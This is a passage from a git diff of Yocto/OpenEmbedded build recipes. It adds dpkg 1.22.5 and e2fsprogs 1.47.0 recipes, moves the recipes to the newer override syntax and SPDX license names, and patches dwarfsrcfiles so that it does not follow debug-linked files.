-SRC_URI_append_class-native = " file://0001-build.c-ignore-return-of-1-from-tar-cf.patch"
-
-SRCREV = "823a67d67538b1b403a32d1fef40e6e228265566"
-
-S = "${WORKDIR}/git"
diff --git a/meta/recipes-devtools/dpkg/dpkg_1.22.5.bb b/meta/recipes-devtools/dpkg/dpkg_1.22.5.bb
new file mode 100644
index 0000000000..9f1d00e208
--- /dev/null
+++ b/meta/recipes-devtools/dpkg/dpkg_1.22.5.bb
@@ -0,0 +1,22 @@
+require dpkg.inc
+LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
+
+SRC_URI = "git://salsa.debian.org/dpkg-team/dpkg.git;protocol=https;branch=main \
+ file://noman.patch \
+ file://remove-tar-no-timestamp.patch \
+ file://arch_pm.patch \
+ file://add_armeb_triplet_entry.patch \
+ file://0002-Adapt-to-linux-wrs-kernel-version-which-has-characte.patch \
+ file://0003-Our-pre-postinsts-expect-D-to-be-set-when-running-in.patch \
+ file://0004-The-lutimes-function-doesn-t-work-properly-for-all-s.patch \
+ file://0006-add-musleabi-to-known-target-tripets.patch \
+ file://0007-dpkg-deb-build.c-Remove-usage-of-clamp-mtime-in-tar.patch \
+ file://0001-dpkg-Support-muslx32-build.patch \
+ file://0001-Add-support-for-riscv32-CPU.patch \
+ "
+
+SRC_URI:append:class-native = " file://0001-build.c-ignore-return-of-1-from-tar-cf.patch"
+
+SRCREV = "1c92a4a8bfbeea30ceb0109b096c4ec845e3c6ce"
+
+S = "${WORKDIR}/git"
diff --git a/meta/recipes-devtools/dwarfsrcfiles/dwarfsrcfiles.bb b/meta/recipes-devtools/dwarfsrcfiles/dwarfsrcfiles.bb
index 2c843a9342..c596497b8e 100644
--- a/meta/recipes-devtools/dwarfsrcfiles/dwarfsrcfiles.bb
+++ b/meta/recipes-devtools/dwarfsrcfiles/dwarfsrcfiles.bb
@@ -1,17 +1,18 @@
SUMMARY = "A small utility for printing debug source file locations embedded in binaries"
-LICENSE = "GPLv2+"
+DESCRIPTION = "${SUMMARY}"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://../dwarfsrcfiles.c;md5=31483894e453a77acbb67847565f1b5c;beginline=1;endline=8"
SRC_URI = "file://dwarfsrcfiles.c"
BBCLASSEXTEND = "native"
DEPENDS = "elfutils"
-DEPENDS_append_libc-musl = " argp-standalone"
+DEPENDS:append:libc-musl = " argp-standalone"
do_compile () {
${CC} ${CFLAGS} ${LDFLAGS} -o dwarfsrcfiles ../dwarfsrcfiles.c -lelf -ldw
}
-do_compile_libc-musl () {
+do_compile:libc-musl () {
${CC} ${CFLAGS} ${LDFLAGS} -o dwarfsrcfiles ../dwarfsrcfiles.c -lelf -ldw -largp
}
diff --git a/meta/recipes-devtools/dwarfsrcfiles/files/dwarfsrcfiles.c b/meta/recipes-devtools/dwarfsrcfiles/files/dwarfsrcfiles.c
index af7af524eb..9eb5ca807a 100644
--- a/meta/recipes-devtools/dwarfsrcfiles/files/dwarfsrcfiles.c
+++ b/meta/recipes-devtools/dwarfsrcfiles/files/dwarfsrcfiles.c
@@ -9,6 +9,7 @@
#include <argp.h>
#include <stdio.h>
+#include <stdlib.h>
#include <dwarf.h>
#include <elfutils/libdw.h>
@@ -83,13 +84,15 @@ process_cu (Dwarf_Die *cu_die)
int
main (int argc, char **argv)
{
- char* args[3];
+ char* args[5];
int res = 0;
Dwfl *dwfl;
Dwarf_Addr bias;
- if (argc != 2)
+ if (argc != 2) {
fprintf(stderr, "Usage %s <file>", argv[0]);
+ exit(EXIT_FAILURE);
+ }
// Pretend "dwarfsrcfiles -e <file>" was given, so we can use standard
// dwfl argp parser to open the file for us and get our Dwfl. Useful
@@ -98,8 +101,12 @@ main (int argc, char **argv)
args[0] = argv[0];
args[1] = "-e";
args[2] = argv[1];
+ // We don't want to follow debug linked files due to the way OE processes
+ // files, could race against changes in the linked binary (e.g. objcopy on it)
+ args[3] = "--debuginfo-path";
+ args[4] = "/not/exist";
- argp_parse (dwfl_standard_argp (), 3, args, 0, NULL, &dwfl);
+ argp_parse (dwfl_standard_argp (), 5, args, 0, NULL, &dwfl);
Dwarf_Die *cu = NULL;
while ((cu = dwfl_nextcu (dwfl, cu, &bias)) != NULL)
diff --git a/meta/recipes-devtools/e2fsprogs/e2fsprogs.inc b/meta/recipes-devtools/e2fsprogs/e2fsprogs.inc
index 009f5ed807..0cb3f0e6a6 100644
--- a/meta/recipes-devtools/e2fsprogs/e2fsprogs.inc
+++ b/meta/recipes-devtools/e2fsprogs/e2fsprogs.inc
@@ -3,12 +3,12 @@ DESCRIPTION = "The Ext2 Filesystem Utilities (e2fsprogs) contain all of the stan
fixing, configuring , and debugging ext2 filesystems."
HOMEPAGE = "http://e2fsprogs.sourceforge.net/"
-LICENSE = "GPLv2 & LGPLv2 & BSD & MIT"
-LICENSE_e2fsprogs-dumpe2fs = "GPLv2"
-LICENSE_e2fsprogs-e2fsck = "GPLv2"
-LICENSE_e2fsprogs-mke2fs = "GPLv2"
-LICENSE_e2fsprogs-tune2fs = "GPLv2"
-LICENSE_e2fsprogs-badblocks = "GPLv2"
+LICENSE = "GPL-2.0-only & LGPL-2.0-only & BSD-3-Clause & MIT"
+LICENSE:e2fsprogs-dumpe2fs = "GPL-2.0-only"
+LICENSE:e2fsprogs-e2fsck = "GPL-2.0-only"
+LICENSE:e2fsprogs-mke2fs = "GPL-2.0-only"
+LICENSE:e2fsprogs-tune2fs = "GPL-2.0-only"
+LICENSE:e2fsprogs-badblocks = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://NOTICE;md5=d50be0580c0b0a7fbc7a4830bbe6c12b \
file://lib/ext2fs/ext2fs.h;beginline=1;endline=9;md5=596a8dedcb4e731c6b21c7a46fba6bef \
file://lib/e2p/e2p.h;beginline=1;endline=7;md5=8a74ade8f9d65095d70ef2d4bf48e36a \
@@ -17,9 +17,9 @@ LIC_FILES_CHKSUM = "file://NOTICE;md5=d50be0580c0b0a7fbc7a4830bbe6c12b \
file://lib/et/et_name.c;beginline=1;endline=11;md5=ead236447dac7b980dbc5b4804d8c836 \
file://lib/ss/ss.h;beginline=1;endline=20;md5=6e89ad47da6e75fecd2b5e0e81e1d4a6"
SECTION = "base"
-DEPENDS = "util-linux attr"
+DEPENDS = "util-linux attr autoconf-archive-native"
-SRC_URI = "git://git.kernel.org/pub/scm/fs/ext2/e2fsprogs.git"
+SRC_URI = "git://git.kernel.org/pub/scm/fs/ext2/e2fsprogs.git;branch=master;protocol=https"
S = "${WORKDIR}/git"
inherit autotools gettext texinfo pkgconfig multilib_header update-alternatives ptest
diff --git a/meta/recipes-devtools/e2fsprogs/e2fsprogs/0001-configure.ac-correct-AM_GNU_GETTEXT.patch b/meta/recipes-devtools/e2fsprogs/e2fsprogs/0001-configure.ac-correct-AM_GNU_GETTEXT.patch
deleted file mode 100644
index 2719594c2f..0000000000
--- a/meta/recipes-devtools/e2fsprogs/e2fsprogs/0001-configure.ac-correct-AM_GNU_GETTEXT.patch
+++ /dev/null
@@ -1,26 +0,0 @@
-From f907fea9ea053d5433b5199ce74008664141f753 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Tue, 19 Nov 2019 17:32:33 +0100
-Subject: [PATCH] configure.ac: correct AM_GNU_GETTEXT
-
-New version of gettext require the 'external' argument.
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- configure.ac | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/configure.ac b/configure.ac
-index 654ff43d..4772b97b 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -873,7 +873,7 @@ AC_SUBST(GETTEXT_PACKAGE)
- AC_SUBST(PACKAGE)
- AC_SUBST(VERSION)
-
--AM_GNU_GETTEXT
-+AM_GNU_GETTEXT([external])
- dnl @MKDIR_P@ is expanded in AM_GNU_GETTEXT
- AC_SUBST([mkdir_p],['$(MKDIR_P)'])
- dnl
diff --git a/meta/recipes-devtools/e2fsprogs/e2fsprogs/0001-fix-up-check-for-hardlinks-always-false-if-inode-0xF.patch b/meta/recipes-devtools/e2fsprogs/e2fsprogs/0001-fix-up-check-for-hardlinks-always-false-if-inode-0xF.patch
deleted file mode 100644
index 0e8cbad25a..0000000000
--- a/meta/recipes-devtools/e2fsprogs/e2fsprogs/0001-fix-up-check-for-hardlinks-always-false-if-inode-0xF.patch
+++ /dev/null
@@ -1,55 +0,0 @@
-From dcb36fd007ddb32d8c5cfcf5e9ddb3d713d65396 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Tue, 21 Jul 2020 09:43:03 +0800
-Subject: [PATCH] fix up check for hardlinks always false if inode > 0xFFFFFFFF
-
-Since commit [382ed4a1 e2fsck: use proper types for variables][1]
-applied, it used ext2_ino_t instead of ino_t for referencing inode
-numbers, but the type of is_hardlink's `ino' should not be instead,
-The ext2_ino_t is 32bit, if inode > 0xFFFFFFFF, its value will be
-truncated.
-
-Add a debug printf to show the value of inode, when it check for hardlink
-files, it will always return false if inode > 0xFFFFFFFF
-|--- a/misc/create_inode.c
-|+++ b/misc/create_inode.c
-|@@ -605,6 +605,7 @@ static int is_hardlink(struct hdlinks_s *hdlinks, dev_t dev, ext2_ino_t ino)
-| {
-| int i;
-|
-|+ printf("%s %d, %lX, %lX\n", __FUNCTION__, __LINE__, hdlinks->hdl[i].src_ino, ino);
-| for (i = 0; i < hdlinks->count; i++) {
-| if (hdlinks->hdl[i].src_dev == dev &&
-| hdlinks->hdl[i].src_ino == ino)
-
-Here is debug message:
-is_hardlink 608, 2913DB886, 913DB886
-
-The length of ext2_ino_t is 32bit (typedef __u32 __bitwise ext2_ino_t;),
-and ino_t is 64bit on 64bit system (such as x86-64), recover `ino' to ino_t.
-
-[1] https://git.kernel.org/pub/scm/fs/ext2/e2fsprogs.git/commit/?id=382ed4a1c2b60acb9db7631e86dda207bde6076e
-
-Upstream-Status: Submitted [https://github.com/tytso/e2fsprogs/pull/48]
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- misc/create_inode.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/misc/create_inode.c b/misc/create_inode.c
-index e8d1df6b..837f3875 100644
---- a/misc/create_inode.c
-+++ b/misc/create_inode.c
-@@ -601,7 +601,7 @@ out:
- return err;
- }
-
--static int is_hardlink(struct hdlinks_s *hdlinks, dev_t dev, ext2_ino_t ino)
-+static int is_hardlink(struct hdlinks_s *hdlinks, dev_t dev, ino_t ino)
- {
- int i;
-
---
-2.18.2
-
diff --git a/meta/recipes-devtools/e2fsprogs/e2fsprogs/0001-intl-do-not-try-to-use-gettext-defines-that-no-longe.patch b/meta/recipes-devtools/e2fsprogs/e2fsprogs/0001-intl-do-not-try-to-use-gettext-defines-that-no-longe.patch
deleted file mode 100644
index 31b585fc9a..0000000000
--- a/meta/recipes-devtools/e2fsprogs/e2fsprogs/0001-intl-do-not-try-to-use-gettext-defines-that-no-longe.patch
+++ /dev/null
@@ -1,27 +0,0 @@
-From d034239f05cfba849f6ad16eb3f1ea37efbe4f95 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Tue, 19 Nov 2019 18:34:00 +0100
-Subject: [PATCH] intl: do not try to use gettext defines that no longer exist
-
-Newer version of gettext no longer define this in m4 files,
-so patch it out until e2fsprogs upstream sorts the situation.
-
-Upstream-Status: Inappropriate [hardcodes a choice]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- intl/Makefile.in | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/intl/Makefile.in b/intl/Makefile.in
-index e037e23c..89a876b8 100644
---- a/intl/Makefile.in
-+++ b/intl/Makefile.in
-@@ -175,7 +175,7 @@ libgnuintl.h.msvc-static libgnuintl.h.msvc-shared README.woe32 Makefile.msvc
- DISTFILES.obsolete = xopen-msg.sed linux-msg.sed po2tbl.sed.in cat-compat.c \
- COPYING.LIB-2 gettext.h libgettext.h plural-eval.c libgnuintl.h
-
--all: all-@USE_INCLUDED_LIBINTL@
-+all:
- all-yes: libintl.$la libintl.h charset.alias ref-add.sed ref-del.sed
- all-no: all-no-@BUILD_INCLUDED_LIBINTL@
- all-no-yes: libgnuintl.$la
diff --git a/meta/recipes-devtools/e2fsprogs/e2fsprogs/e2fsprogs-fix-missing-check-for-permission-denied.patch b/meta/recipes-devtools/e2fsprogs/e2fsprogs/e2fsprogs-fix-missing-check-for-permission-denied.patch
index 284ac90196..b038e61eb7 100644
--- a/meta/recipes-devtools/e2fsprogs/e2fsprogs/e2fsprogs-fix-missing-check-for-permission-denied.patch
+++ b/meta/recipes-devtools/e2fsprogs/e2fsprogs/e2fsprogs-fix-missing-check-for-permission-denied.patch
@@ -1,4 +1,4 @@
-From b55dfb4b62e507ae4f0814aec7597b56f9d6292a Mon Sep 17 00:00:00 2001
+From 5bc75654690a2d916190168b865770a7c93e65dd Mon Sep 17 00:00:00 2001
From: Jackie Huang <jackie.huang@windriver.com>
Date: Wed, 10 Aug 2016 11:19:44 +0800
Subject: [PATCH] Fix missing check for permission denied.
@@ -19,7 +19,7 @@ Signed-off-by: Jackie Huang <jackie.huang@windriver.com>
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/lib/support/profile.c b/lib/support/profile.c
-index 585ed595..810dd66b 100644
+index bdb14b17..1bd62406 100644
--- a/lib/support/profile.c
+++ b/lib/support/profile.c
@@ -335,7 +335,7 @@ profile_init(const char * const *files, profile_t *ret_profile)
diff --git a/meta/recipes-devtools/e2fsprogs/e2fsprogs/mkdir_p.patch b/meta/recipes-devtools/e2fsprogs/e2fsprogs/mkdir_p.patch
index b0fa4b8cc5..f6916a1112 100644
--- a/meta/recipes-devtools/e2fsprogs/e2fsprogs/mkdir_p.patch
+++ b/meta/recipes-devtools/e2fsprogs/e2fsprogs/mkdir_p.patch
@@ -1,18 +1,27 @@
-e2fsprogs: expand @mkdir_p@
+From e3a30baa5c1e2f0ac7e246539db1c7db5a2fe302 Mon Sep 17 00:00:00 2001
+From: Joe Slater <jslater@windriver.com>
+Date: Tue, 7 Mar 2017 14:53:19 -0800
+Subject: [PATCH] e2fsprogs: expand @mkdir_p@
Add AC_SUBST to configure.ac. @mkdir_p@ is currently
-not expanded so no locale data is written into usr/share/locale.
+not expanded so no locale data is written into usr/share/locale.
Upstream-Status: Pending
Signed-off-by: Joe Slater <jslater@windriver.com>
+---
+ configure.ac | 2 ++
+ 1 file changed, 2 insertions(+)
+
+diff --git a/configure.ac b/configure.ac
+index 4c4b5523..3475c707 100644
--- a/configure.ac
+++ b/configure.ac
-@@ -811,6 +811,8 @@ AC_SUBST(PACKAGE)
+@@ -919,6 +919,8 @@ AC_SUBST(PACKAGE)
AC_SUBST(VERSION)
- AM_GNU_GETTEXT
+ AM_GNU_GETTEXT([external])
+dnl @MKDIR_P@ is expanded in AM_GNU_GETTEXT
+AC_SUBST([mkdir_p],['$(MKDIR_P)'])
dnl
diff --git a/meta/recipes-devtools/e2fsprogs/e2fsprogs/ptest.patch b/meta/recipes-devtools/e2fsprogs/e2fsprogs/ptest.patch
index c3e46ce65f..20839b7286 100644
--- a/meta/recipes-devtools/e2fsprogs/e2fsprogs/ptest.patch
+++ b/meta/recipes-devtools/e2fsprogs/e2fsprogs/ptest.patch
@@ -22,7 +22,7 @@ index 8c4d2048..e021af32 100644
@echo "HTREE=y" >> test_one
@echo "QUOTA=y" >> test_one
- @echo "SRCDIR=@srcdir@" >> test_one
-+ @echo "SRCDIR=${prefix}${libdir}/e2fsprogs/ptest/test" >> test_one
++ @echo "SRCDIR=@PTEST_PATH@/test" >> test_one
@echo "DIFF_OPTS=@UNI_DIFF_OPTS@" >> test_one
@echo "SIZEOF_TIME_T=@SIZEOF_TIME_T@" >> test_one
@echo "DD=@DD@" >>test_one
@@ -31,7 +31,7 @@ index 8c4d2048..e021af32 100644
@[ -f test_script ] && chmod u+w test_script || true
@echo "#!/bin/sh" > test_script
- @echo "SRCDIR=@srcdir@" >> test_script
-+ @echo "SRCDIR=${prefix}${libdir}/e2fsprogs/ptest/test" >> test_script
++ @echo "SRCDIR=@PTEST_PATH@/test" >> test_script
@cat $(srcdir)/test_script.in >> test_script
@chmod +x-w test_script
diff --git a/meta/recipes-devtools/e2fsprogs/e2fsprogs/quiet-debugfs.patch b/meta/recipes-devtools/e2fsprogs/e2fsprogs/quiet-debugfs.patch
index aac88eed98..0a6904208d 100644
--- a/meta/recipes-devtools/e2fsprogs/e2fsprogs/quiet-debugfs.patch
+++ b/meta/recipes-devtools/e2fsprogs/e2fsprogs/quiet-debugfs.patch
@@ -1,4 +1,4 @@
-From 9aa68ad81b97847dda3493145f4b0a7cc580c551 Mon Sep 17 00:00:00 2001
+From 580ef6cae2d353f3aa5d5c52d6614bdc1df50f08 Mon Sep 17 00:00:00 2001
From: Ross Burton <ross.burton@intel.com>
Date: Mon, 23 Dec 2013 13:38:34 +0000
Subject: [PATCH] e2fsprogs: silence debugfs
@@ -14,10 +14,10 @@ Signed-off-by: Ross Burton <ross.burton@intel.com>
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/debugfs/debugfs.c b/debugfs/debugfs.c
-index 15b01214..15164df2 100644
+index 9b6321dc..8ebf3ddb 100644
--- a/debugfs/debugfs.c
+++ b/debugfs/debugfs.c
-@@ -2492,7 +2492,7 @@ static int source_file(const char *cmd_file, int ss_idx)
+@@ -2516,7 +2516,7 @@ static int source_file(const char *cmd_file, int ss_idx)
cp = strchr(buf, '\r');
if (cp)
*cp = 0;
diff --git a/meta/recipes-devtools/e2fsprogs/e2fsprogs/run-ptest b/meta/recipes-devtools/e2fsprogs/e2fsprogs/run-ptest
index c97c0377e9..279923db8e 100644
--- a/meta/recipes-devtools/e2fsprogs/e2fsprogs/run-ptest
+++ b/meta/recipes-devtools/e2fsprogs/e2fsprogs/run-ptest
@@ -8,3 +8,4 @@ rm -f *.tmp
rm -f *.ok
rm -f *.failed
rm -f *.log
+cp ../data/test_data.tmp ./
diff --git a/meta/recipes-devtools/e2fsprogs/e2fsprogs_1.45.6.bb b/meta/recipes-devtools/e2fsprogs/e2fsprogs_1.45.6.bb
deleted file mode 100644
index 15054768dd..0000000000
--- a/meta/recipes-devtools/e2fsprogs/e2fsprogs_1.45.6.bb
+++ /dev/null
@@ -1,141 +0,0 @@
-require e2fsprogs.inc
-
-SRC_URI += "file://remove.ldconfig.call.patch \
- file://run-ptest \
- file://ptest.patch \
- file://mkdir_p.patch \
- file://0001-configure.ac-correct-AM_GNU_GETTEXT.patch \
- file://0001-intl-do-not-try-to-use-gettext-defines-that-no-longe.patch \
- file://0001-fix-up-check-for-hardlinks-always-false-if-inode-0xF.patch \
- "
-
-SRC_URI_append_class-native = " file://e2fsprogs-fix-missing-check-for-permission-denied.patch \
- file://quiet-debugfs.patch \
-"
-
-SRCREV = "506d96fe640f76ab04276e0a7c578aa108ce19f8"
-UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>\d+\.\d+(\.\d+)*)$"
-
-EXTRA_OECONF += "--libdir=${base_libdir} --sbindir=${base_sbindir} \
- --enable-elf-shlibs --disable-libuuid --disable-uuidd \
- --disable-libblkid --enable-verbose-makecmds \
- --with-crond-dir=no"
-
-EXTRA_OECONF_darwin = "--libdir=${base_libdir} --sbindir=${base_sbindir} --enable-bsd-shlibs"
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[fuse] = '--enable-fuse2fs,--disable-fuse2fs,fuse'
-
-# make locale rules sometimes fire, sometimes don't as git doesn't preserve
-# file mktime. Touch the files introducing non-determinism to the build
-do_compile_prepend (){
- find ${S}/po -type f -name "*.po" -exec touch {} +
-}
-
-do_install () {
- oe_runmake 'DESTDIR=${D}' install
- oe_runmake 'DESTDIR=${D}' install-libs
- # We use blkid from util-linux now so remove from here
- rm -f ${D}${base_libdir}/libblkid*
- rm -rf ${D}${includedir}/blkid
- rm -f ${D}${base_libdir}/pkgconfig/blkid.pc
- rm -f ${D}${base_sbindir}/blkid
- rm -f ${D}${base_sbindir}/fsck
- rm -f ${D}${base_sbindir}/findfs
-
- # e2initrd_helper and the pkgconfig files belong in libdir
- if [ ! ${D}${libdir} -ef ${D}${base_libdir} ]; then
- install -d ${D}${libdir}
- mv ${D}${base_libdir}/e2initrd_helper ${D}${libdir}
- mv ${D}${base_libdir}/pkgconfig ${D}${libdir}
- fi
-
- oe_multilib_header ext2fs/ext2_types.h
- install -d ${D}${base_bindir}
- mv ${D}${bindir}/chattr ${D}${base_bindir}/chattr.e2fsprogs
-
- install -v -m 755 ${S}/contrib/populate-extfs.sh ${D}${base_sbindir}/
-
- # Clean host path (build directory) in compile_et, mk_cmds
- sed -i -e "s,\(ET_DIR=.*\)${S}/lib/et\(.*\),\1${datadir}/et\2,g" ${D}${bindir}/compile_et
- sed -i -e "s,\(SS_DIR=.*\)${S}/lib/ss\(.*\),\1${datadir}/ss\2,g" ${D}${bindir}/mk_cmds
-}
-
-# Need to find the right mke2fs.conf file
-e2fsprogs_conf_fixup () {
- for i in mke2fs mkfs.ext2 mkfs.ext3 mkfs.ext4; do
- create_wrapper ${D}${base_sbindir}/$i MKE2FS_CONFIG=${sysconfdir}/mke2fs.conf
- done
-}
-
-do_install_append_class-native() {
- e2fsprogs_conf_fixup
-}
-
-do_install_append_class-nativesdk() {
- e2fsprogs_conf_fixup
-}
-
-do_install_append_class-target() {
- mv ${D}${base_sbindir}/mke2fs ${D}${base_sbindir}/mke2fs.e2fsprogs
- mv ${D}${base_sbindir}/mkfs.ext2 ${D}${base_sbindir}/mkfs.ext2.e2fsprogs
- mv ${D}${base_sbindir}/tune2fs ${D}${base_sbindir}/tune2fs.e2fsprogs
-}
-
-RDEPENDS_e2fsprogs = "e2fsprogs-badblocks e2fsprogs-dumpe2fs"
-RRECOMMENDS_e2fsprogs = "e2fsprogs-mke2fs e2fsprogs-e2fsck"
-
-PACKAGES =+ "e2fsprogs-badblocks e2fsprogs-dumpe2fs e2fsprogs-e2fsck e2fsprogs-e2scrub e2fsprogs-mke2fs e2fsprogs-resize2fs e2fsprogs-tune2fs"
-PACKAGES =+ "libcomerr libss libe2p libext2fs"
-
-FILES_e2fsprogs-dumpe2fs = "${base_sbindir}/dumpe2fs"
-FILES_e2fsprogs-resize2fs = "${base_sbindir}/resize2fs*"
-FILES_e2fsprogs-e2fsck = "${base_sbindir}/e2fsck ${base_sbindir}/fsck.ext*"
-FILES_e2fsprogs-e2scrub = "${base_sbindir}/e2scrub*"
-FILES_e2fsprogs-mke2fs = "${base_sbindir}/mke2fs.e2fsprogs ${base_sbindir}/mkfs.ext* ${sysconfdir}/mke2fs.conf"
-FILES_e2fsprogs-tune2fs = "${base_sbindir}/tune2fs.e2fsprogs ${base_sbindir}/e2label"
-FILES_e2fsprogs-badblocks = "${base_sbindir}/badblocks"
-FILES_libcomerr = "${base_libdir}/libcom_err.so.*"
-FILES_libss = "${base_libdir}/libss.so.*"
-FILES_libe2p = "${base_libdir}/libe2p.so.*"
-FILES_libext2fs = "${libdir}/e2initrd_helper ${base_libdir}/libext2fs.so.*"
-FILES_${PN}-dev += "${datadir}/*/*.awk ${datadir}/*/*.sed ${base_libdir}/*.so ${bindir}/compile_et ${bindir}/mk_cmds"
-
-ALTERNATIVE_${PN} = "chattr"
-ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_LINK_NAME[chattr] = "${base_bindir}/chattr"
-ALTERNATIVE_TARGET[chattr] = "${base_bindir}/chattr.e2fsprogs"
-
-ALTERNATIVE_${PN}-doc = "fsck.8"
-ALTERNATIVE_LINK_NAME[fsck.8] = "${mandir}/man8/fsck.8"
-
-ALTERNATIVE_${PN}-mke2fs = "mke2fs mkfs.ext2"
-ALTERNATIVE_LINK_NAME[mke2fs] = "${base_sbindir}/mke2fs"
-ALTERNATIVE_LINK_NAME[mkfs.ext2] = "${base_sbindir}/mkfs.ext2"
-
-ALTERNATIVE_${PN}-tune2fs = "tune2fs"
-ALTERNATIVE_LINK_NAME[tune2fs] = "${base_sbindir}/tune2fs"
-
-RDEPENDS_e2fsprogs-e2scrub = "bash"
-RDEPENDS_${PN}-ptest += "coreutils procps bash bzip2 diffutils perl sed"
-RDEPENDS_${PN}-ptest += "e2fsprogs-badblocks e2fsprogs-dumpe2fs e2fsprogs-e2fsck e2fsprogs-mke2fs e2fsprogs-resize2fs e2fsprogs-tune2fs"
-
-do_compile_ptest() {
- oe_runmake -C ${B}/tests
-}
-
-do_install_ptest() {
- cp -R --no-dereference --preserve=mode,links -v ${B}/tests ${D}${PTEST_PATH}/test
- cp -R --no-dereference --preserve=mode,links -v ${S}/tests/* ${D}${PTEST_PATH}/test
- sed -e 's!../e2fsck/e2fsck!e2fsck!g' \
- -e 's!../misc/tune2fs!tune2fs!g' -i ${D}${PTEST_PATH}/test/*/expect*
- sed -e 's!../e2fsck/e2fsck!${base_sbindir}/e2fsck!g' -i ${D}${PTEST_PATH}/test/*/script
-
- # Remove various files
- find "${D}${PTEST_PATH}" -type f \
- \( -name 'Makefile' -o -name 'Makefile.in' -o -name '*.o' -o -name '*.c' -o -name '*.h' \)\
- -exec rm -f {} +
-
- install -d ${D}${PTEST_PATH}/lib
- install -m 0644 ${B}/lib/config.h ${D}${PTEST_PATH}/lib/
-}
diff --git a/meta/recipes-devtools/e2fsprogs/e2fsprogs_1.47.0.bb b/meta/recipes-devtools/e2fsprogs/e2fsprogs_1.47.0.bb
new file mode 100644
index 0000000000..940b47c155
--- /dev/null
+++ b/meta/recipes-devtools/e2fsprogs/e2fsprogs_1.47.0.bb
@@ -0,0 +1,148 @@
+require e2fsprogs.inc
+
+SRC_URI += "file://remove.ldconfig.call.patch \
+ file://run-ptest \
+ file://ptest.patch \
+ file://mkdir_p.patch \
+ "
+SRC_URI:append:class-native = " \
+ file://e2fsprogs-fix-missing-check-for-permission-denied.patch \
+ file://quiet-debugfs.patch \
+ "
+
+SRCREV = "f4c9cc4bedacde8408edda3520a32d3842290112"
+UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>\d+\.\d+(\.\d+)*)$"
+
+EXTRA_OECONF += "--libdir=${base_libdir} --sbindir=${base_sbindir} \
+ --enable-elf-shlibs --disable-libuuid --disable-uuidd \
+ --disable-libblkid --enable-verbose-makecmds \
+ --enable-largefile --with-crond-dir=no"
+
+EXTRA_OECONF:darwin = "--libdir=${base_libdir} --sbindir=${base_sbindir} --enable-bsd-shlibs"
+
+CFLAGS:append:riscv32 = " -D_FILE_OFFSET_BITS=64"
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[fuse] = '--enable-fuse2fs,--disable-fuse2fs,fuse'
+
+# make locale rules sometimes fire, sometimes don't as git doesn't preserve
+# file mktime. Touch the files introducing non-determinism to the build
+do_compile:prepend (){
+ find ${S}/po -type f -name "*.po" -exec touch {} +
+}
+
+do_install () {
+ oe_runmake 'DESTDIR=${D}' install
+ oe_runmake 'DESTDIR=${D}' install-libs
+ # We use blkid from util-linux now so remove from here
+ rm -f ${D}${base_libdir}/libblkid*
+ rm -rf ${D}${includedir}/blkid
+ rm -f ${D}${base_libdir}/pkgconfig/blkid.pc
+ rm -f ${D}${base_sbindir}/blkid
+ rm -f ${D}${base_sbindir}/fsck
+ rm -f ${D}${base_sbindir}/findfs
+
+ # e2initrd_helper and the pkgconfig files belong in libdir
+ if [ ! ${D}${libdir} -ef ${D}${base_libdir} ]; then
+ install -d ${D}${libdir}
+ mv ${D}${base_libdir}/e2initrd_helper ${D}${libdir}
+ mv ${D}${base_libdir}/pkgconfig ${D}${libdir}
+ fi
+
+ oe_multilib_header ext2fs/ext2_types.h
+ install -d ${D}${base_bindir}
+ mv ${D}${bindir}/chattr ${D}${base_bindir}/chattr.e2fsprogs
+ mv ${D}${bindir}/lsattr ${D}${base_bindir}/lsattr.e2fsprogs
+
+ install -v -m 755 ${S}/contrib/populate-extfs.sh ${D}${base_sbindir}/
+
+ # Clean host path (build directory) in compile_et, mk_cmds
+ sed -i -e "s,\(ET_DIR=.*\)${S}/lib/et\(.*\),\1${datadir}/et\2,g" ${D}${bindir}/compile_et
+ sed -i -e "s,\(SS_DIR=.*\)${S}/lib/ss\(.*\),\1${datadir}/ss\2,g" ${D}${bindir}/mk_cmds
+}
+
+# Need to find the right mke2fs.conf file
+e2fsprogs_conf_fixup () {
+ for i in mke2fs mkfs.ext2 mkfs.ext3 mkfs.ext4; do
+ create_wrapper ${D}${base_sbindir}/$i MKE2FS_CONFIG=${sysconfdir}/mke2fs.conf
+ done
+}
+
+do_install:append:class-native() {
+ e2fsprogs_conf_fixup
+}
+
+do_install:append:class-nativesdk() {
+ e2fsprogs_conf_fixup
+}
+
+do_install:append:class-target() {
+ mv ${D}${base_sbindir}/mke2fs ${D}${base_sbindir}/mke2fs.e2fsprogs
+ mv ${D}${base_sbindir}/mkfs.ext2 ${D}${base_sbindir}/mkfs.ext2.e2fsprogs
+ mv ${D}${base_sbindir}/tune2fs ${D}${base_sbindir}/tune2fs.e2fsprogs
+}
+
+RDEPENDS:e2fsprogs = "e2fsprogs-badblocks e2fsprogs-dumpe2fs"
+RRECOMMENDS:e2fsprogs = "e2fsprogs-mke2fs e2fsprogs-e2fsck"
+
+PACKAGES =+ "e2fsprogs-badblocks e2fsprogs-dumpe2fs e2fsprogs-e2fsck e2fsprogs-e2scrub e2fsprogs-mke2fs e2fsprogs-resize2fs e2fsprogs-tune2fs"
+PACKAGES =+ "libcomerr libss libe2p libext2fs"
+
